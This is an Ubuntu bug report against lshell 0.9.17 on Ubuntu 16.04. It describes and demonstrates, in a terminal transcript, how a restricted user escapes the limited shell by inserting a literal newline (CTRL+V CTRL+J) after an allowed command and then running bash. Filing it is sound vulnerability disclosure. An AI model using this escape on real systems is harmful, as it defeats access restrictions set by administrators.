Escape possible using special keys

Just type <CTRL+V><CTRL+J> after any allowed command and then type desired restricted command:

vladislav@dt1:~$ getent passwd testuser
testuser:x:1001:1002:,,,:/home/testuser:/usr/bin/lshell
vladislav@dt1:~$ su - testuser
Password:
You are in a limited shell.
Type '?' or 'help' to get the list of allowed commands
testuser:~$ ?
cd clear echo exit help history ll lpath ls lsudo
testuser:~$ bash
*** forbidden command: bash
testuser:~$ echo<CTRL+V><CTRL+J>
bash

testuser@dt1:~$ which bash
/bin/bash
testuser@dt1:~$ ps
  PID TTY TIME CMD
29852 pts/14 00:00:00 lshell
29853 pts/14 00:00:00 sh
29854 pts/14 00:00:00 bash
29864 pts/14 00:00:00 ps

Expected: commands in lshell are restricted
What happened: user can escape from lshell and execute arbitrary command

System information:

vladislav@dt1:~$ lsb_release -rd
Description: Ubuntu 16.04.1 LTS
Release: 16.04

vladislav@dt1:~$ apt-cache policy lshell
lshell:
  Установлен: 0.9.17-1
  Кандидат: 0.9.17-1
  Таблица версий:
 *** 0.9.17-1 500
        500 http://ru.archive.ubuntu.com/ubuntu xenial/universe amd64 Packages
        500 http://ru.archive.ubuntu.com/ubuntu xenial/universe i386 Packages
        100 /var/lib/dpkg/status

Bug in upstream issue tracker: https://github.com/ghantoos/lshell/issues/149

ProblemType: Bug
DistroRelease: Ubuntu 16.04
Package: lshell 0.9.17-1
ProcVersionSignature: Ubuntu 4.4.0-38.57-generic 4.4.19
Uname: Linux 4.4.0-38-generic x86_64
NonfreeKernelModules: nvidia_modeset nvidia
ApportVersion: 2.20.1-0ubuntu2.1
Architecture: amd64
CurrentDesktop: XFCE
Date: Mon Sep 26 10:47:40 2016
InstallationDate: Installed on 2016-05-20 (128 days ago)
InstallationMedia: Ubuntu 16.04 LTS "Xenial Xerus" - Release amd64 (20160420.1)
PackageArchitecture: all
SourcePackage: lshell
UpgradeStatus: No upgrade log present (probably fresh install)